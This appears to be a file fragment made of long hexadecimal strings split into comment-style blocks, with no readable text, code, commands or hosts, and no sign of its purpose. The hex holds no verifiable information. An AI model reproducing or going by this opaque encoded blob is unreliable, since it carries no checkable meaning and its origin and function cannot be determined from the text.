aea38248a4ece694999872e9fedd10d96e5659735f6b24d2d1032b18ac1c5001e2f841ba79311b9874667b2aeec374119d91daa86b261b5f604b003c0cc6a9453b3696540ecadc3a50effeb7099abf10630687ad86733b1714940b9a3c9fe39ef4cf5fa785879ab2ad7d9e063bd7456f70f91f9385d39909e7db036bd7753a75a24a22742c0b04f4645a06541b678188e51403cd8884f7cc99c1c87a0f9e25b239dc2b49a7a55be18e820e29e541c16e2924b6ab148233fe45f4c4bc4ad0959453860359758b285e66164d71341bd5c3449bb6ffda89b5a796a8c3fbe5e59709e668f7f3fa92acbc3bb026cf7442b83e9d91308ed526e47b319dc3c871ae5b7dc4d0ba11a001a38605671eab2d508668158e0d3556cfaca28baa390708e5b67a0485537f3c76b7cd32960124d97e17120ac7ad3db4726e0b35cbbc4e1a689b8bb6a28f209f6276dd43cbff7d0c77c5e321adcad1ef817538fd6e201d0000124119bb003365d6685b24459ff1f8de5d2f646d8f303316b05c8419199c5997041a4b93ac1a70915d0eb5bb31cd5e058cbdd24abc903a4482d1dcbc8abfccbbbc530c2785153a5825fbaa61d9675768fdb704d6f46b376f95c94c9c36712dba61394b961b5ef879684baaaa6081b8a843b34*/
/*40d0f8db8f16e791ee1850358182065bd8965748c2f634dfe4d3293760b75abf41d524a0876b936420014ea8d4cdcc717e6e08a4cf064ca354547b0fe317c4abf180dbc6029177a08f93b2c74ed10675cdc2eb8092a4e116617a1aa256081b5bd7889abc465274841d2020122dcde9bae743b24cfb426195b1bb3b2d65f2fa2bf2c6328497126b932f3dddf0530f766d83751e14ab4dbedf35416d19764470a86c0e65866d6b1c3c92e03716f99a80ff0eae5f200634e763b2aab22456e65369d677c807efea2f1abc136a16b3578a0b6943bcb27a0d449beb1e4cc5c8a29c03281e279f9b2b36a152654ff53a2893f7cae31678a6b810943f7e442abe031148abb96be4e60dbf6601c462caa3310e7d5244d3fa38cf4664e2644e59ad94d7bc93286d639918443c6561e35630988db73e9c264d9b214c9ff456ee832c99588e55a0ac9e79fa3d1abccc4a2534e1950052e6e26bff702ad172354ff8671a665dd6f77262da54d8a3b9dbe2c3dc582350e03a651590466512131733583e6923d62c42a0a0e2ed15b6cf8d9a3c936dba8929156b0f2395e7cb21ab98f5cbb64288a0735c10737d2c4aedffe4c8159b9ea75ce29f39cb58f0270a0e78c8f76e6027591865a7a91d1a5d9ee207823e8d85c4dc2e440c36376aad9e0029febc89806fd3e2bb1fa6037db2d2aa2fee814cbe81966b12c1d92867e1434a89f1b4eee17f6969015ae743234d1c9db7dc3113dc3976c52df9b3129913354621b9f21696bdad8af949e0778d2226e7c4ffb488d56e1ec7727017b1386fa211c1293574a05da1db21cc049606f6c0d88e045edc18a061fbb6570601ee89f3e5f96c7d676154eddfb157d60cbed1f8bc83e3942016b5ce65221d83d28135fe834858581a60526b499f82c70d792edeabafa63fe688eff189b78e0feceb6cd5500dd4ea1080ba62ab7b37f0f1f06f4d33127a9222ad67e113b92ad34653d98448c3f236a5712dd96581d1bd79bb1eeef74377f08b91f1b0e4e643509551496699da04d5c0ee5cb564e706bffaa8fbef5f1aef3894ad7cf2d58d665969dab884dc6c696f83df2b4c6d689c96ac485ed0e2c7a88fac4dae8d44f6d6f0e52d128f47f07a6b6c3c108e1594c61228464030815f7a91880d18058c913c8df6d612f429a558851f0f2a3a2834934aec752d59e82034746830713a01372f6e5a188b67c62db33a6894ffbef92225008b3bb54d53967cd9b0d73513b371108c82a52c77dacc1d4432f3a539b8fec03b1a1c4407dfffd8224ef9dc136d3cf335396e20ce77776299f477673c80bf0d7b586be2aac98726b3f003c728f9273863c473117bd80d2040608952509270defa599ab2762820d7ec5b8447dab32d2f370c026df65da5b022f517010c5242606c81316699a7ade3cbeeb00011a0fbd0ec5fe33f09bbeb089533f3f1c237c2ad5f0dc8629e44df38eee0865b9278f1994ba92188ad8b4a31eeb002ea3a9a16df60056a3ad0ae61467d2c6ac3bd3e1a1934e05c4c97ee3444a1bb8a6a8964c9f3639cdda510985d9261252d7bf49ef836605c7917b29850d40ea6c59056f2eae76ba35a54127cb7fdd51ccb5fff5fdbbe3835e8fa6cd81c2759708d28147c26594fc779fa624fde522b94a92cf9e4747249d85647373a458ce2e4d296e4d4d62b5246e5f6e1c10c026fab6a265000fbccf8c2e1881f30a0e703bc94d05399b84bb13dbbbb61bb447a51b31d6c9f01504d40c46540fad7cb248611404fc01ffe3395bec00eaeb90dd932feefd32dcdd128ed022827472c3df7d1ca60d7f3e6469bdd8e7316ad7eeed95eb6e957b00d02bc700e9f406e20721f22fbd7e034f3ebf0054f48d8e447f7576605b6700f490892fc07df9aaad91d9b6c4eb415d6b54ba33a08f8283b9257182dbbc8c1c344073bebba2b21543297948cc69ed6994debcd5ea5f9a03642b9f0c08d7a34e49162ea78bdcdee1f5dbad8174b2e6c0973a239f39d56cafe5621cf45461cce647a515885cf0b84323578ad46ee03dcaedf7818a22c28821a355c147fb833fedfb893238f90a3ed9623563e6d75e295b6474901b88a559c37de21a28ad9e1673019312b6f6acfc68f028f55c058fbe412e83dab29376b81ad6f6020958497388b9ee228bf9f74529f62f37d10389956de5603b7df6eacef2e677a244a46a319774985dc81ea8ab5ed691de910730d63a20f2c5b3e90881ec7e2c3895bc0292bef8c6c3185e39830ac3d5c9496759e8979601eff05ad6acf0b098b1a90bc78bde1f719fb109fc3b2b5974298f748c2d2bf7974dc71ad1d62dd475fb296489c82311aa54b77acec4c7c31cfc4648f78d4d00ab8459bd913273f25d315f7d03b1686f8c01185a0a233d30b8d654cc6103abd93e25a37ab3e62932761f34d9cb9fffd00f6558c800866207b975b7725edba7a1f659ba74c4de039072bbf48c18cee3a0326ac1261f9a0803de2fb023de23f37c4263d263226be734360c391fdbe6b688f3c7e8b15bece457b010b2e0fc50f62a46f1d7e2b3b6dea50fb751d4d198d0cf937142a579ab45f82dd069d7f631879dfc126ea3260f7d65202c9bef68d2bf2334edc6c5f1404109e1fbd228af3d0963608e90c41e823f4380837bbf74f1a5911f05c0be8350e39e8d76afbc58a0f1f19498000c61672d9bfe7b6f0e5b321bee76ab0831cac6bbd0706da9fd5eeeeb18a989d4160a5af86a5f6bd9815fbf186a46e73e9213907d2802df0334030ca05832b0c3e275d5603d8acf64eec4ae51decca87fa6a1bb3cd57a0f26ed5710df68b10226eea24a6ad4d2a2de60bc2c8*/
/*7c56a49502571095e793f64ef9b1c287d1978b9fd649dd5195b96b1dc4c1e77a1d2d4d6990dee5599829f800dabd0fea2f67780678d386957a362d3feef2ec52bf1a77d8ef4bc4d1a220bbb9c892d1e2824201b12ec4b3322151f9dd56bd897848f8b7e766d7be4dc5de9fe0dc9636ed672d8fee55c9ae18c2ec87908af451549ef8d62426b4dd15c29ebdb2ab2df30af62bbf3ef66275e9bddca56fe4ec29453951ef6f33508c024408f1bc9e741f6e829b5da3f0e8759a700cfd54c464eca9cc4632afadce79d5f9b6d469c1e23c090f56cd521539e0d3f104e99da10fc80048e034ed011a3f52ee62d6d447b001c1d70c48e437e681f643887f88a0e1b798f6ef7c8a3605fe043a58d3636e77fde66f7aa964de235cf620ac491e1f99daa9d219972f58d66412d44ea80fc207c3cce95dbd3249ff98fd16ebae38d97a257601f1c22a660a03663700b9e879fa13f504d7d238eb6209b7b2cfba949c30b150e8bd515995c9f55373be4500d13f5925d72460f7ed198ae2dd67e01ee49c71fc8fac0067db8e51f54ea3a2d2e38f285f237d1c314e0815535ee96447be666ae299cfb7684d06d2551a904440ac927a8e2411d1d1a7f73314761e7b8d3588ec0cfe0da20067e950cf9f7f0fe084496afc372d1bacdf8b2be3489c9bce1e70104982acc6a48efe5c59c93e55a468f1a0271d9eb054beb51122a8ddcd20238797dc82e193dd60e6516da675efc68052b2d54b120dd50028276972d452964ad8fb42bf8f3d09145f7c3dd38cfc74dcbfcc9896620bf32ee4de35fb82a0506bfa7092dcdade873cc7e490e835287816ad92b18a97acab1bdef7a7239b702b23a79db38e9ed4a56d379860489fead5899da4d316b249cefdbf08229dbded5f0b500221e3d8645849704ac239abae67b2118c12193173eead0ae3cb83c65d40c84a20a90bdf6c71060b571bb4d92544cd47443face1b68d62746cf119d4d4786ab5c94a81d74e3ac1078da8b2cf684322474284ff23b99fabb62ca2f8d3d4efefc320cc2296c91c74952e1920eb0a8eb3a945b75b911f96a4d019bf6825e878f5ec07e2b8624888242274d33b2e945818b272dcec80c5a41c5162011f7343127c1e0d3a6f4fae6a620d3fc7df5250aebab9a7cf2cf66da62c49d265d6538472c021634527ddd8ae75ba07a156f63e5ca0827e6f97af5c49be10e6a332ea04f21a94ccec45da5b8e612c565a1a64dcf9de1a1b79b9fd17bbddee34f6fe4fa25d8c5288e8d057d45b3f8785c30944374280ed6a9c11ccbadd8b1c813acc68dba6f3bc574ef31fe3796b409d8adc0f993415f0a7dae194c910871e1a7d8fc714ca46cc6e1585abef4ca7a8266f8acaf5754f0c5058890634b72d70c5c02cc5414a4d370d1d0f7ac5e88cace5ae4871f2128f77fcf82dcd627852fcebd60b1eed2d93b6afa828a8d3e6bf0dfdcc657832270511a93388d0d03964ffd4f14efcdfdaa623fbe427e152f08e174fb9eca0e22195e6491c4e588f7eb604f0805f04cd6936716ad65c59ff0dca8c463ac9bc9680ed4ed01bef1ded1367ebfd25a0b1550e6d4f49f9d3ceeacfe920e6005cb09566919e268495d9782b16ffc10dd39526036878b8a5af5373eb31a2065c84b3e60308b188f38a738bac08ebcbc9d8959548ec0429d902e9164a365da90ed461bc9cae00a817ccd3f4d847e44d85889a48e60365440fe7e2dabcd2d64af34274193a05649cd118ac5abfc612203396e5827c04d42c9666517d1b6edd7fcbbca44a581dd827739e6df82479a216fc66d01e97100e278d786a90f0415fd6399f897d21d07e6cb18af25ac1c2460d1b8523a34a914be5b5bbe65c99a386d64d9eb71cf561197d7e3ac5fcaeca34d354813bd25efc21dccbe1193810640cd748c43f1864a49f2dc8c396f638f5892d4cdc37eab4702d9e6ee19a3d0eafb8f4aea3e37c9d53a2a9b71792386a1bc8cc7a9cc923831ff87c75fff6c2e1605c46a9db444924ad2ed2fda6ffe8a293aa43fd63f514d1b056fc2b6d60c43531e9f47ec41a246f082a2dbb9cb82b0b80df009820f91f4886c41080d8a149b22ce439609cc7f7c6b5a785f4e66f4c8d2b8313cf80689afc311efcc269b361377e3cabf0fcc8cc391eb656263e80f1b3f6a36b17b3c867a10983208020013c4bd38a09c9b5a80fb81e9a00d212d4c10426d52e3ff466391c9980133108dc1d7ba64f1714d5eedf785c74c65c943cbd80de089cbfb844a694a783b65dce23e276ea34c8c5d117a31cb43c33affbe43bea6f67131d2a1cf72b5cc6f4cba431eab22e8985ac9e54c267c7b5be4061dcc8551ffa2369353c06d845d5bc60f6d325ee1d13a38efe1fc65411dc8f160fdf8ab293b44d9fad31c779daa612fcc46d12ed84dd455dbce959cc05068a25bbc2dac268f22dbe55297193a9bf694a53d353e3a23ed406c9f71e6b280e2989d78b379f741a6b5cca557f65979b69eb19930eccceef9344fa211787e67fbdd8eba7158cc97098d4f52d93e8ac7bd1de96c716c920a07de9482eb3c373614773419590cb11a158540f7560192d8dd07c7dba23bb564cf94b39406213c8d1b691dc1adc5619ce7da72c37644d1b916162def8e512351d3e9ea54c91c542aebc5e7490037144c2a4210c8eb697a1665b723887261ef422933c429fcb39ef43c9bf29ed3a4015b112037be71395808e9da7a739bf50790fd89d1fbf250825dc4a8a798163c52c2563a7713156fdf0bdec0e198861fce984a5dc0d8b6138a8e676a21a2437687bda494c31dfdb5857aca6301d2062057bf6272b463af4ddc1310e2e*/
/*5e6614d1008e68c5e05e660cc080580825f0c44201b7ff08344dac0cd15d84d808ae93f5ef5b9d382011cc20df0a4912194b410504dd437a0f80971193b6b1c6020635606cbc4da062668b8d6dae57f87690283fdbd937ad34214985c56bf8d8c789ce70c7ed1183ba0e72252083c23a75030ef9a61cec7e441d6861949ebdc982b8b54176fb0bb1f2d59828d5e6bccc30100dd3b71ae01cb5a453c6218d79cc2fdae937def1299b47e0339ff96bac91d3ce6fe2d4a15d23e853e5b86956108e3497b417e44e2603046a01eb6c3d1e9c3f3acbd95eed0d25e7360784d5b8aafffd83e9fd14060440fbc6cd98730c3fe986f191494a5d03c9f6d866edf63647f80bb52faa8b1cb7034f1d03de231632b51074b7b418c9f664cd0de2dc9302719220fdd6d5e025e3473a3d463fda561f5492a95f2bc54368f03657a8ea41dae693c037517127159e05b40987d2ffb01945f3a88fa042f9aaeccba4f2ed896645d4997a52fc0e094a4fd8cab3c4a5ce2be758c421944ecf1afad542b6be6edca6740ea45dfcefeb0a930d46d638124f0113d17ed01ecf3e996c4ad3431b223dac79382c7660ed42ccf1ea4ef77fed8a71a2a8013df519d60c0fb6285afbfb1c4645c235c927b8f473113499f2c1d8a54efa88429203c3f34bd6b5379d9a9bee528df40c84ec699bfdce2ed474fcacbe359a63f0d067badaa9260e98dd4d406fb1a1f7a9a2af2cd19e903e0836e2622869b01ba6fe56c7b41a3012f0850411b516d5956ff79f4c4a702fdf41a6a9af599cab12eecdad636df06a05314e1dc307701da616d23250375358adcde87b2dbfbeae3d74aa2751aad035cd13f58a6ac1b349c926e37ed4d17afeca980794fbcc8b6ea675a19aa792b0fdacfc2bb1e0a2a3f40414c70aadc98397118defb43c07414a9cbd31683d29f8ad28af6e534b478ecf85c91b4f2e0b923fee66f3019b20c766c909c895b8630120d77b796762a79266e3e17f4e6c164b63a959d89b9ef228ac4523faea308ccc599521e0b0b02e0929a755943b97d993de9b9d335d067ff53f10e355dee568c705aba66513e7715d84826e9401bda4ad51171a4f0a1310522832fc1a97e7d3da9a9dbb3a917b862495f7794e9c2e0fb256b70a47d1da9eced0026052ee980d189c4b7c37950f091cb75eeb3a711725cbbcf246d271e3b52192945f9d0579af6fd36507bef6a1c1ed9e56f81e655655614e8add1510d6ff393a1604e4ec8703648f48fe27ab7b2d739e20fd0e451b2890c582b54ff73fc47c1cb70f69b4f75f158d284ecf0fdd5b2f6a084691e4e8d8403a636453abd73d3d8d57a50165e4924bd101b38276f514de264edaabb0d9348b437050e16cdf81bf772fb4b8bd778b26fa7e6cbc3cd14efe85589ac6b7a7b610fe8536bd4bc9a1619eb317f0c1523c01cfa81d42c9b9857be398e60b8f3aac4231b39fb0c318343b2b5e63077414371223d2da4199c5e88fbbf12f48dd81e3f79cf438e36e932937cfbd675d41b41dba7b5eb7583e358716c19159e7a60de0a907caf1df45f05cd9415cfe8cac3a5ed36e6a23fd398ce40081acfc42fa1e35be8559b0dbaf700144fb0dc2e5db2f57a150c18ad264cc014b57be21619e4127c60e5c4534d28e90772c2e014d3ccc62d2a6733077cace61e7cdc70ff8616a21d824679c3b663c00c6b93d33a141f132c1f87a6ef7ddbbf49d2fe86b78633cec5aabf59eab56ce000ee10036819fc6bffd13be301519b190b69b9e8a3947493f2d7d44d2d7bef59375afe557abb42be42a36b7d85a3ad3bc33ca1c1833621db940fa2053b85e0914f2b096a2bc41af35cc253b5772d77ce328390585bb1256fe6af490eb82831e22abb0dd14dcf6be1e75983652fcf295325b229495ad5959032521afeb731246a77ebafcf47dcb29f7e58332320f571cc397fe0ad6797d8e9f0b2a1f7e916c44470aeaec3ee3a5c602da81fb8744e5614c2f5439399f6cf736ecf388a6085c619845fe7dc09b9e6830d106b33cdaa9c03f5f5903622bce9dd48b4a572fa0889ecb3dfcf669f34fb5447ee4a01c9a628517b6236000e6e7702d0077290a8c447c9a543c8dca0bde7332320f95f65dfb3ebb827634972a759b69e61ff4be6e6e162d2c5207ab23c0e91c0518c525ab39637dad753cd68f777cb22751bdc9affd1a9bb0a08f665a378e31f48683c1f895ee83de1006fc9844b0a8302072d4c942b0a6ce6073f258c8dd13f6fee041788e6c79f6559734864029a42a3d834f08bb032ab658b7d7f9dd8d02bd8d18dde307fcf6801b8f2884e7e1ed013c1fa0411277ebdf011aca818fee670ebefca281d125531ef141fca77bd31c5d71d239f9a93361bbc7462e532b196127234d8f5b0ebdfc97b7f4619b0eec3332236cb0019b701ca4554ab35f90558c03ae0e577a0c6da91c3e7a4c1962208d8a186ee8de48d99e4af2cf612e1d4ce901eea230c39e4bce3c9d3e244689df3059834bce5d2dead02a5670145eca9b4b18802d5ba91387d235eb074a33bd874bb994cdf73195dee1692d1dd805a27bbe3e29265801bd00d0e77aa68560301848d0b7591695c2e3baaca4614b1100946add1fe144c9e361decad19f0581c21f299cc8d9ed547eb6007b4910735a5c68fbbd43201aa4066dbf38034426c071daf6605006c72a3081b1e0a77b7e130f3d34ffcc0a9c065a3638f97829c9bb0bd8b03dc28212eab765ed2ad64065471266ec8ccc30f5ff6a0b3dba598dab1abff58357559df4a27071ad56345dd7bca3f5accdd3484332c2245ce2778518ae1b44842614608e357b666cd2db*/
/*284d282d746ddc52f122f6078005813dc0efa34d39aa1b634ec2b1538148085acc886378a3c9f42a9212acfae8b5902b6aed9da6ac048147522fbad511646740dccebfabcddc94f279f3eff2209d505681ca197dd5dde020ab42e3d94ccc83a9f4506566971fc9ad467fb44b58d7613d540ac38ff27880567cb77ff07d99fb5fb39b154bbfd43a02efbaa4f0fd03c12ca32dc6ca1405b22bc0053c97181e6d2151c93f24798ccac4590b5c0569fe921a2d6f541e777e1bee20a518af1e72be041a9862aeec239b1f22f01da436cf9a7e168f3b07b6da73d7e709ff66dfd1770bc705a95bbaca887d531860414e1ab32078f8cf71524262c1125bc0e97c99aa37cae18538785dae4f7cd9a6b5f90bcb0e18391255cbeae6fa1b69a9d0e538d52cf17447590c7ee22983c158931f2c9a6ebbda5f8181b7c084e85cfbeeb682e7fd7862dc6aba5fea3ba2d2de1ea95e44c345c0d28f005170f4d65911c27d46c9f486a3e8e9d18dddfb557bf7b62f415a354e2945e834e9c6a954625e234a004d78265524edca5d458bbec4048a4759d24d1abf2cc6a18e0abc41c5a25863353ef5d80f7981703f0713044511a2c5472d66370e5b8c0bcd08c333e9c9facf00e8e08b7269ddf2073e448a08632e9e4fbc12bc5e1ad6853056500615078142b1fb10ba7e792c814438cab6eeb795a09470c17b47a9899b9655d3f26d3c1d1d4529de395e630a1336123c362de77428808a2c1500daae863c2e9ee9e5fea323132d9a15b27ae3984cd2a19d31e5891bb78f80281bbe5598659e8c4099b40b35c9b3f90c59984f69179d80df06fe7275397db8895ec1b3aac6a0cb0f27877143fc47db8fcd40543a94e0372850d5da8ca5cc8a6819e5ff1797fec372fccdfe7c7be14d49864d2222aacdbd195c39df08703ea07bfc8bef74f17276cab0bc7ddbc40b5a6e7723fcc3f6ea0329e2ca00874a1a77a9cb8f897c4b905e2bd522c34cb70d8e658c077d32a634bc9487646638f2bb523387c998770a0110eaa34668ac0ec0736aa93f1eecb53fe2b4316d2339a8f665ad65cd846846572103e0a61ee5a0d5a4a4270bcf73deae9f999f793cc1ee8fcce9ca0d213b64600cb35add3fb5e2d92c31c7c4d4424c999198cd09240b0c008ec0fe9e524a9d37eb38f1d63861c17258f591aaf2f50d08d22e5aea4768cc1ad375b2b2d916f0d678f3ef05119bee85e9a30ad3a0f77276f39a05218747ddd7eb83f1908efa8667b00daf96432c7c672305dd5b0ba0155fd01a68fc527be06d63aeb02bcff0fa73821cb50c7ed72b72191f089d9c515d5c380e183d061fc3e18f0afe7d76c7fa9a24ee40aedd4d413df05b62f5efa0f20091600fb588723f19cac4efcbca63726d64737bb9f103bd8e569b992fbe7162705db2ff70ac7fce484c139cb26bd0785aedf6c4e4d8e6740bc366354ead1860ec35eddf89f0a8894070576d68b57dbfb73c228beffba8985e43ac85d80e9af1fff36eb854bfb1a9a6726344611478dd2833ccd0beb79818d78af2974fe98d88654ffccabe72eafcdb7a11d08ce21a31f9cffe99678e2644487ed5e336ef21690d13075e1f8932f2bb5e9b5f876d162c748a5d94448ae28b72e49a3d020a4e527032601b5845453dd7218c17e59af9593c5b7d59f65cd116f9dd7138988cbe9f25396c00b3cc20843abab7aeb9ce624d1948115918b40fbf787e381f8a7850c8165534911d6b1ac0d0d166770e6a29f80895fabf484133c7e3613844a4f9a54011ef9cf12e2bf44fab7f735cff7310cb6a625684607e34e71459390d2330a29b2527565a237d51f615c9c781347d26ae78ee04dfb7490694019b052cbd034aae870eed63b64f4317d81ecb9be7ecb14177c005e228b4f50a31c80483804db2a23cc3f920fda86cc88374ce2afe25c8b3baf84009deac22aa6df389f723f1afe4f1439aacdef143374e24d964dc2164c556d293d606b6169b4a4d4eb3d03a800bdec3620d1325b2466512d335916f82b778ba51b6e0869d72f6b12df6a9e019392f031b8048ecf7b8f4333e0ed7c94d7ee37f3b7b4acb6aa4f6cf211552d2eca4fa644974dbb6c70663fd1e1953ff354261c4e37d797d6aa97c138e216e7504c4e00a8e089623c171bf9f2410bf0f936ba0875fb01965d73ec02c5ecbeccbc943132a1d285ec15c9e7bbc6c1bf8722aecd9ede235cdd48699262f4743798df7313126a7eae8aab243842f0a1ee702232644fd1e322984e4f64a0a30bc5b02207219fd740c9b5e97d9dcd5e67fd9fbcb2a9ac3d73c2278eaae6af9f6b973019e4ca40e9be4fcf0bc417db7ab62f92a2fc187e2933d43475cb395e2b7bf0ecb529ec100f58fbabd22c31553ed1c92b7efaea8dd3776637270817766b6ec1661b29212eb863cf01e2abfed2dca3f5d157ce3d3084b99f325eff359bfe4e4aa3c03317924f6ced005f52a4e1a5f911a52dd0115be952445855870f8831a29a178df86c84f0471565f421ca18c5362ff7d51aad74491d7f73a129f9588c8b9c7eb07583c15b90fbffdb5ab55d48731f73169743b466371742a9baa890a355ad8c94e97b394bf00d5b1fe101fdb51f5377ca20d013a1d9576b242756689d3094e341e9d1210d1c7f5402a74966f1e1632cdafb95c0c51e782e976499fe5ea57964411ae614595f65306825ca2d4d124f9d31862d61390ccd31979c8fbe2122c6f4377c043d6953fe28f0aa70371c4686045e3e81ab76906201931c8ba0f6226b9907781c1d773bad7f256e91594287c6c375ac2ac64406b7ba21eee8d4c19df47dcd45db046d00ef8ba8c686c27*/
/*4a3f95d898b5566741ecd02a31b083ba30ca5245e3f9a39b88787ad424850ea3b8c52edd5688639a09478a62627dc61442cf2476499d5f3d74aa443f8bc3ac47872ed8db197c798ac147d06aad5e2abb4ffbbd36b3f71bdab4a2317cc0c33ab98f3973500bb7366cdc12359c54bd69fae9bd1126070327d09bd06b2a95475a93072e51c9f94399539115e19f643de55709685030b7ad1af2c287eee49f5bcb89c7df332e07347d66abde414a3b53c566072320854c4f251a8eff00f8b949e4e257d241b48afb580a2796a492824ffd8fdb178522c1b526ce8ed0fee1378e8279bae8c2baffdd7f0b41c469952c713b63938136eb61657f247745c48f500f892b3f73999a4f4677cca342278d5e534cf2758c878da87577f40de490065b6fe7af3c5b8d33955c94c5cbcbf97f304284d07f6e2308f0822463e5c5df5c592418441ceb07ff920acf1641f7b6f3746ffa013eb892e45c826d283b4dc355dacff73fbc086404696d39681540f1f9354cb8a4b673ad3a4aabd940584e3b212643ae1e6e6c8dfe429cdc38d23b031c56570b5fd678169ce77a0d7689c95fd04dad145c4869833c410d5008cbc099460ea981da494f3d7473ba868fb3f9ade4505342b1b23140d6b2b9ea10626ec7f238fde6ab5e473488969d5401e93b09fd2f56e1d919f325f1902224a4a8eb7a7d9d0690e3b079bcb506c482ec2d6f4b9f6ab470fdb109b15cb33fda15f31c5a043915548794e8312380d1c54e3615b2601170723d5620175d318cb8a7e40cd37353c939da3fcecc005b80f0115574d1b7b06f6570afd2bfb14bf0a42f67cc22839098da5fda12372e5287b362be91ba90f87e04b3b4bb02aac00284d1f7a0b656eb489f0824a94dff10b6ebdcb81b6926e05447f9b90d1cb0b5b0b92c5b1dd3da0c22eff1d3cf240e7b6bb6405656cfd68d31b002cff4a17422834985320e798c7854975784c1f08837af906d91fd665ebf5eb4d097496d766dfcec7da5cb177030cb1cef3c249cdcb91a8834a2934815320f9f3bab21fd85001e7968fcb23f39f0e748edfe9194e72dcf7491df4c1103acb6cc41cc8ab598ab715285a72a0d4a2be680b547e2dc2e6ddb5612eb2e7944fc50e72365fedf5bd87549c723c3f215a4eb4a33afe53c68e78f1b9380e55b9b37032a1278a8f0dce082e63c3aa96d2e38441065e2a8305509750ea97840cb4a57b11fd9178a081fe0b446448901f41ee2b4fcbd16d3c8eff5c5f9a82d4f642db20b72cd0596f91bc2d6ee2dfbf4f97d8e20002e7880b64b4caa3d007a7e4ea8b84e03ad876ee65b18c7ee2eb8ab46880c7ee6548d4eb5344263342eb11f21b1e643ba80a639bbeb62667e17b11c1c61f3dc35a6efdf6c3ea473d59703f00b55cea27190dbb3e26cd8f8f784454e355376e4a57e12dd6cd0ee8a75fc77499feb7776cb63dd0551bdc8daa46849cd3965e4ec835a15b56cadf87a613b0c2b087d9fce96c5f1bc1a272f9402a4ec421f1c2e70a0c1df8ea17738c6be1f4574374bd9fcf8bd63eac897f541c282ded5af2c5da9fc844b3d2876f78b1a5302ae863f4d5ac386e0fbc8111a04315f25551ab9aadc998663f8057d6be511b0b31d53ee2dd7e11319e28ee6153dce58e380ac7ea7342f66d0ca9743ad65b02e0bf961c49838697c4fb1d105ba47777d986c6c470348e6e4c0c2e1eaa29da0170232c7f6d70d5a8541877cd2fe429805dfe044a168dba3ec1e4e472d699109be575e18640396e843d96ccfd4ef8d429f22e93984a7e1a1efe2c87f8c9dc4a2e3bc38021eac2f856489d79e5fd2163e1fb2f34ec62a5d8e6b37d9ed83dda8dbc6f5a3d062ad4d814ba47b1ee4e5b9ad52c45c806c16d93b4ecec02c6acc77c7e1635314b035041857ddf0d96d4f092492b780454f3fe40631b4e5d3ce5454fcb3fd2b23394260aa5dc8acc22aab96f69848a5eeb19cbb6e272ba7849d4624ace629ea5afd076a37ef1008cda44cc2a21ce7ddd321b20bd923f4cb37c83f65a9f6a37c3fab9ac3811fc31ac1fa2bdcc22d0e86298141da7433c5ceef4669695116191fd2299cfac41f46330d74e5cb23094570fac320a3654f4656ae8f9ef8120f06535194ca9a39e0868219f5893997c3fe76a7d9f7030f401f44fc43c6343e48318d063993270eb845e4dbe8ecde1b11c3f579863a974edee64ae132e0663a85adba75d747e4f758f2879e0757c4361e7f9e85d9ffffe9055c312338111eb3f13e42d5ca3c01a5a6b0bb30e99d316f066ef3e9e8776bbd2be1eee60b8aef30625456182ab1be7b4eff44a3634043f24933fa00035be9635b5c006d857b7236305e2199c754eac7c3d8e50006b319df2e32fd3f3f5a75e733cb58e03a8592607d336de285eb722fc9961ccf0fd6c614ce3ee0ac0ce7709a18136db101492a97ba008112ae6658f8f577cf3afd3a7bbadfeffca6899bbde4e750dfd9501dbb7f058e78300e12b8cddb600361c3c8c280a4629048289d6b5a6a7dabd958e384a1f2ea617369bae1574cd52eefe9fff476df31fdb3429676fd7f1bf6443c8df4062dd31bee2418cc43eaa71245aedbf8d015d32efc2b1229f39b20688204c0d18afdba4a55878a35516eb238e90546126699bf37729bc448084b05efdc8f1d52a1179a6067a847ce844ed5c190497aa17f6bd8936c26fcdce4ca5753c0343107ba441083cbc86d0152cadbfbd8cf568402564b9d71fa54aca28ab1c00333b7b3d271e58cbc5217d627d1dac5f343975f7423342582540ed8379ca56463d7ec8aab78d7168bba5ebaf70affffd6e5f7d865aa598d0bd3274add78*/
/*267fa205f6bcb37b4f9bf7bb3af93dc468ee01fc957c25c4bae41367ee687f58921cc277a329e5b931f188db36b4d93a544cba3dc5ed9b8267fdce4d9525ee7ced628459e76393ec990001c5824580fa1901f9f58209d2a8d8352a53d3652d70c277353bad3f75fc3fefceb66b10fe95ac8b36ee7eeb3a8d45c1a8a70d323d729a8598eb0afa198f27c48b9a6ca98107e6e4f41f15264df1bb70091f354d28587f1b96fdda2cc825f184dc1b472a78950c49c99421cd722aae14430179d359358884ba4392f5344dc83d17d459e3d6ba541d7d7a996cf3a3e4a6e113e39178a5c04261a0d72153f81cb3317ddbea553999010d70ef550b4fa71ad0c033cdcb3137bb2d082f5ab0fee729d5abf0ac4818094e597478d1e3cf8f3a79874a434bf5ee2028e7fe254066a2d46e6a39cf23ea66037a75aac0b1975b64fb5c2b5004fc03a0b6a66efc15c0e8e21cb84f80bb216b613fbc3f6d0c4e809cb32976ec6c268e3cd3cb6c8cc34be9aab82655b5166f90e2a6ab2b938513523bc0932e3b6652ff03301d3beddb5cd408dc445979f792c6f764ada37cea02d5941b23227d8b3d1a3ed0d8b7fccbf0ca54dd42f9a1f776938c5d63ef7d89da5d428404b583043d568a4206b05acd3aeb18622ebcb83e7ebf9acc1b452a46a4ac7f6dfcf8d84ff9571b9df45891404b7629b4970f32d721d8fa054954bedc19ae89bbc7ec7f3be27ec1d8422c368b7c8349fb2f79db07f212b507df7cb33964def206a3447a095287728e77bfbc042a893801697798c2c63513727256dbf47a3cd54816ba6805abf9fdad09a7868c08441804605453cd28ef40f8279bbfad98d45c985cf8bbbed2193e120981a872b40057cf19325eec979b58f82d21363c59766178fa028d95908115d1d3243459a198b514bd83bea29a349d007d75d3c0b0e44d54c20d5ff63296c7e942d481799c90bd36bb6617750436df61f320bbc01c66e8083b0d5dcf1e9f3b64f38af873132cec0a5d1b77fc08337011c8f4617e15c03011c12a2c640e69fc61b5c29fd6a724502e3ef4a9442837aa96d006b09b512e26ca5bd3564de53de90137fb5e7d81d89e0f73625d96b570e589f285db598111ad71c6e15b2f247c0a6ab7e6ab7f4a36728699b5e89d451b84f0bccf33ccefb4953875a7149011a687effc26fc4dde2875392fcfb13461225bcc6b34c756b017fad37ed73f4c98eaef995ea3fb12f50f5e06a91a25ab6315733312b9f6beee8500ea9a425aeedc0398fe24cc05ec3ee01374437e52b2ed81315b55f46f3bd81900c75b8799e64cabbb288860ad2043383d7c9b3eea95ea161e1353d976b8dcd8607c524d0b1a39c4539d9a2b367ff5ebcf5589926d2222dce0356b26cfe13fbea8bb8e98b13e202ea08c4fe58f580b637944794264cb095f155d5173451449dc872d57eb66ae13ac2b5ff7b7aaaee2ad